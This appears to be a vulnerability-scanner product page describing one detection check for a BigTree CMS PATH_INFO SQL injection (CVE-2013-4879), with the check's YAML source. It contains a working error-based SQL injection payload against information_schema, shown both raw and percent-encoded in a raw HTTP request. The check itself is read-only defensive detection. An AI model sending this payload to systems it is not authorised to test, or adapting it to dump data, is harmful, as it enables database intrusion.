BigTree — 1 vulnerability check

noctis ships 1 vulnerability check for BigTree, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

BigTree CMS PATH_INFO SQL Injection

CVECVE-2013-4879
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/bigtree/CVE-2013-4879.yaml

BigTree CMS 4.0 RC2 and earlier puts the requested route (the PATH_INFO of index.php) unescaped inside an SQL query, without authentication, allowing SQL injection that discloses the database content.

This check requests index.php with a PATH_INFO that closes the quoted string and adds an error-based subquery whose duplicate-key error reports the product of two random numbers. The vulnerability is confirmed when the error page contains that database-computed product, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{script_path}}{{sc.tail}} HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_path for ^/ → finding QoD 97: BigTree CMS PATH_INFO SQL Injection (CVE-2013-4879)

References:

Feed source — tests/vulnerabilities/bigtree/CVE-2013-4879.yaml
# BigTree CMS <= 4.0 RC2 — PATH_INFO SQL injection — CVE-2013-4879
#
# BigTreeCMS::checkOldRoutes() (core/inc/bigtree/cms.php, 4.0 RC2) looks the requested
# route up in bigtree_route_history with the path segments pasted, unescaped, into the
# query:
#     SELECT * FROM bigtree_route_history WHERE old_route = '".implode("/",array_slice($path,0,$x))."'
# The segments come from the PATH_INFO of site/index.php, so any unauthenticated request
# reaches it. When the query fails, sqlfetch() throws an "invalid query resource"
# exception that carries the MySQL error text, which makes the injection error-based:
# the classic duplicate-entry (floor(rand(0)*2) / group by) error echoes the value of
# an expression in "Duplicate entry '<value>1' for key 'group_key'". 4.0 RC3+ wraps the
# segments in sqlescape().
#
# Detection (QoD 97): GET <site/index.php | index.php>/'and(select 1 from(select
# count(*),concat(0x4e4f4354,A*B,floor(rand(0)*2))x from information_schema.tables
# group by x)a)and' with random six-digit A, B. The vulnerable site reports
# "Duplicate entry 'NOCT<A*B>1'". The product is never in the request (the error page
# echoes the query, but only with the A*B text), so a page that just reflects the
# request does not match. Read-only: no table data is read and nothing is written.
# The payload is percent-encoded, hence a verbatim tcp_connect request.
#
# Better than the source NASL: it only matched an arbitrary version string in the error;
# the database-computed product cannot come from a reflector or honeypot, and both the
# /site/ install layout and a web root install are probed.
#
# CVE mapping: the issue also lists CVE-2013-4880 (CSRF), CVE-2013-4881 (module-add
# input handling) and CVE-2013-5313; only CVE-2013-4879 (PATH_INFO SQLi) is proven here.
#
# Source: OpenVAS/Greenbone NVT 2013/gb_bigtree_cms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803869, GPL-2.0-only).
uid: 5d0b7c6e-3f4a-4d0e-9a51-6c1e8b2f7a43
name: "BigTree CMS PATH_INFO SQL Injection (CVE-2013-4879)"
description: |
  BigTree CMS 4.0 RC2 and earlier puts the requested route (the PATH_INFO of
  index.php) unescaped inside an SQL query, without authentication, allowing SQL
  injection that discloses the database content.

  This check requests index.php with a PATH_INFO that closes the quoted string and
  adds an error-based subquery whose duplicate-key error reports the product of two
  random numbers. The vulnerability is confirmed when the error page contains that
  database-computed product, which never appears in the request. No table data is
  read and nothing is written.
cves: [CVE-2013-4879]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [bigtree, bigtree-cms, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-4879"
  - "https://github.com/bigtreecms/BigTree-CMS"
  # OpenVAS/Greenbone NASL 2013/gb_bigtree_cms_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "Duplicate entry 'NOCT" + (a * b) + "1'",
         shown: "NOCT" + (a * b),
         expr: a + "*" + b,
         tail: "/%27and%28select%201%20from%28select%20count%28*%29%2cconcat%280x4e4f4354%2c"
               + a + "*" + b
               + "%2cfloor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%27" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_path
    var_value: ""

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false, banner: ""}
    loop:
      var: script_path
      over: ["/site/index.php", "/index.php"]

  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{script_path}}{{sc.tail}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    condition: 'hit_path == ""'
    store_as: probe

  - id: check-probe
    action: script
    condition: 'hit_path == ""'
    code: |
      let body = if type_of(probe.banner) == "string" { probe.banner } else { "" };
      if body.contains(sc.want) { script_path } else { "" }
    store_as: hit_path

  - id: report
    action: match
    source: hit_path
    pattern: "^/"
    on_match:
      finding:
        title: "BigTree CMS PATH_INFO SQL Injection (CVE-2013-4879)"
        description: "An unauthenticated request whose PATH_INFO closes the quoted route string and adds an error-based subquery made the database report the product of two random numbers in its duplicate-key error: the route is concatenated unescaped into an SQL query, so an attacker can read the whole database."
        remediation: "Upgrade BigTree CMS to 4.0 RC3 or later, which escapes the route segments."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit_path}}/'and(select 1 from(select count(*),concat(0x4e4f4354,{{sc.expr}},floor(rand(0)*2))x from information_schema.tables group by x)a)and' reported the database-computed value {{sc.shown}}"
      stop: true

View these feeds on GitHub